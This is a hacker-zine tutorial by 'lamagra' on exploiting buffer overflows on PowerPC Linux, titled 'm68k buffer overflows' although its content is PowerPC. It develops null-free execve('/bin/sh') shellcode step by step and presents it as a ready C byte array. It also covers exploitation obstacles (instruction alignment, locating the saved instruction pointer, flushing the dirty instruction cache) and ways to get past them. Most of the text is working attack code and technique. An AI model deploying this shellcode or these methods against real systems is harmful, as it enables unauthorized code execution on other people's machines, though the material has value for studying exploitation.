m68k buffer overflows 
        -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
        by lamagra <lamagra@uglypig.org>

---[ Introduction

I looked into linuxppc overflows because:
  1) Nobody had ever done it (that i know of)
  2) The crack.linuxppc.org game (i like wargames)

Before i could get started with my research i needed a box to work on,
lockdown (aka bladerhater) gave me access to his linuxppc (Thanks and greets to him).
Next i needed some background and architecture information, i found a huge 
architecture guide with a full instruction set included.

Finally i got started with making shellcode.

--[ shellcode

For the shellcode i used the same technique as the x86 shellcode:
  jmp - call - pop address - start shell

I had to change this a little because a powerpc doesn't like the stack that much.
(Would be dumb too, with more than 30 registers). So i started coding my asm program.
After 10 min i got myself this working code:

<main>:
7c 00 00 50   subf  r0,r0,r0    # r0 = r0 - r0
48 00 00 21   bl  1800404 <main+0x24>  # call <main + 0x24>
7c 88 02 a6   mflr  r4      # load address
90 9f 00 08   stw  r4,8(r31)    # store word r4
90 1f 00 0c   stw  r0,12(r31)    # store word r0 (== null)
80 7f 00 08   lwz  r3,8(r31)    # load address of 8(r31) into r3
38 9f 00 08   addi  r4,r31,8    # r4 = r31 + 8
38 00 00 0b   li  r0,11      # r0 = 11
44 00 00 02   sc        # systemcall
4b ff ff e5   bl  18003e8 <main+0x8>  # call <main + 0x8>
2f 62 69 6e   cmpdi  cr6,r2,26990    # /bin
2f 73 68 00   cmpdi  cr6,r19,26624    # /sh

But as you can see it has a lot of null's in it, i really didn't like the null's
in the systemcall instruction. After a tip (thanx nuuB), i knew that those null's
were reserved bits. They could be changed into something else without trouble.

Changes:
from   ->      to
subf r0,r0,r0    xor r30,r30
stw r4,8(r31)    stw r4,264(r31)
stw r0,12(r31)    stw r30,268(r31)
lwx r4,8(r31)    lwz r4,264(r31)
addi r4,r31,8    addi r4,r31,264
sc       .long 0x44010102

This leaves the first "bl" and the "li" instruction.

li:
  You could write -(the number) into the register and then negate it.
  So, lis r30,-1
      ori r30,r30,65525 (65525 = 65536 - 11)
      nego r0,r30

bl:
  There are mutiple ways for getting around this, but size does matter (in this situation :-)
  You could easily add some nops in between to make the jump-address bigger
  and getting rid of those null's. But that would be taking the easy way out :).
  After a conversation about my teensy portbinding shellcode, i realized i could use
  <saved framepointer> to give my code its own location (when overwritten with the 
  same value). Add the code's size to the framepointer (r31) and you have the 
  address of  "/bin/sh".

newbie note:
stack at overflow time:
  <saved instruction pointer>
  <saved framepointer>
  [buffer]
    ...
end note


All put together gives:

   c:  38 9f 01 2d   addi  r4,r31,301
  10:  38 84 fe ff   addi  r4,r4,-257
  14:  7f de f2 78   xor  r30,r30,r30
  18:  90 81 01 08   stw  r4,264(r1)
  1c:  93 c1 01 0c   stw  r30,268(r1)
  20:  80 61 01 08   lwz  r3,264(r1)
  24:  38 81 01 08   addi  r4,r1,264
  28:  3f c0 ff ff   lis  r30,-1
  2c:  63 de ff f5   ori  r30,r30,65525
  30:  7c 1e 04 d0   nego  r0,r30
  34:  44 01 01 02   .long 0x44010102
  38:  2f 62 69 6e   cmpdi  cr6,r2,26990
  3c:  2f 73 68 00   cmpdi  cr6,r19,26624
*/

#define CODESIZE 51
char ppc_code[] = 
"\x38\x9f\x01\x2d\x38\x84\xfe\xff\x7f\xde\xf2\x78\x90\x81\x01\x08\x93\xc1\x01"
"\x0c\x80\x61\x01\x08\x38\x81\x01\x08\x3f\xc0\xff\xff\x63\xde\xff\xf5\x7c\x1e"
"\x04\xd0\x44\x01\x01\x02/bin/sh";

Problems: we use the framepointer so the overflow has to be exact.
    We can't use nops or we would have to know the exact length of them
    (This would probably be the case since every instruction is 4 bytes, 
    alignment is *really* important).

At the end of this file, you'll find an other shellcode (coded by nuuB) which
doesn't use the framepointer but is double in size.

---[ Overflow problems

Buffer overflows are exploited the same way as on x86,etc. but:
*note: every problem will be discussed in detail below.

  * alignment is more important
  * functions have to be used inside the vunerable function
  * the location of the <saved instructionpointer>
  * "dirty" instruction cache has to be cleaned

-----[ alignment

Every instruction is a multiple of 4 bytes. When we return of a faulty address
the code will most likely cause a SIGILL.

*note:
 nop = "\x60\x00\x00\x00". 
The null's are reserved as well, one could change them into 0x60 (easy to put in).
*end note

------[ functions

The return address of a function is saved in the link register (lr), when a new function
is called it is saved on the stack for later use. If not, the link register is
used to return (no overwriting possible). The case of this happening is really
small tho.

------[ Where is the damned <saved ip>???

I've noticed that in some situations the distance between <saved ip> and the top 
buffer varies. I found a distance of 80 ones, other 40,8.
I haven't looked into this because i doesn't really matter.

------[ Instruction cache

The biggest problem of them all would be the "dirty" i-cache.
The shellcode can't be executed unless the i-cache is cleaned first.
There isn't any cleaning code inside the program we can call/use.

Solutions:
  After a user/kernel/user call the cache is clean.
  1) You could insert the shellcode before the overflow, after a syscall
     the cache would be clean. And it can be executed.
  2) Redirect the execution through libc (syscall wrapper)
     This can be done by using framepointer and intruction pointer at the 
     same time: instruction pointer = address of wrapper
          framepointer points to a location with the shellcode address